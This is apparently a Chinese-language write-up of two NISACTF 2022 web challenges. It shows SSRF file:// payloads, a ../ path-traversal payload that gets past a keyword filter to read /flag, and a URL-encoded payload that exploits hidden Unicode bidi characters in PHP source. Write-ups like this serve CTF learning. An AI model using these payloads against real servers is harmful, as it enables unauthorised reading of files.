NISACTF 2022

文章发布时间:

最后更新时间:

文章总字数:
563

预计阅读时间:
2 分钟

easyssrf

题目提示说是ssrf

https://xz.aliyun.com/t/2115

这里猜测是利用file协议来打开相应的文件

1
payload = file:///flag

返回:都说了这里看不了flag。。但是可以看看提示文件:/fl4g

1
payload = file:///fl4g

返回: file:///fl4g 的快照如下:你应该看看除了index.php,是不是还有个ha1x1ux1u.php

跟进一下 发现了源代码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

highlight_file(__FILE__);
error_reporting(0);

$file $_GET["file"];
if (stristr($file"file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

stristr屏蔽了file协议 那试一下目录穿越

1
payload = ?file=../../../../../../flag

成功获得flag

checkin

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?>

一开始看到以为是最简单的get传参 但是试了一下发现不行 网上查询wp后发现

猫腻在于php的高亮显示规定 这段源码有不可见字符在作祟 我们选中NISA会发现Welcome也被选中了

zeIPMR.png

我们将源码复制进文本文件 然后用010打开 这样可以显示不可见字符的16进制

ps:这里我遇到了一个问题 用火狐浏览器复制源码最后和用edge浏览器复制的源码不一样 火狐的源码是错误的 暂时不知道解决原因

zeIuzd.png

可以看出第一个参数ahahahaha并没有被动手脚 后方的参数有问题

选中->编辑->复制为->16进制文本

1
E2 80 AE E2 81 A6 55 67 65 69 77 6F E2 81 A9 E2 81 A6 63 75 69 73 68 69 79 75 61 6E //参数名
1
%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E //将空格转成%
1
E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46  //参数
1
%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46 //同上
1
payload = ?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46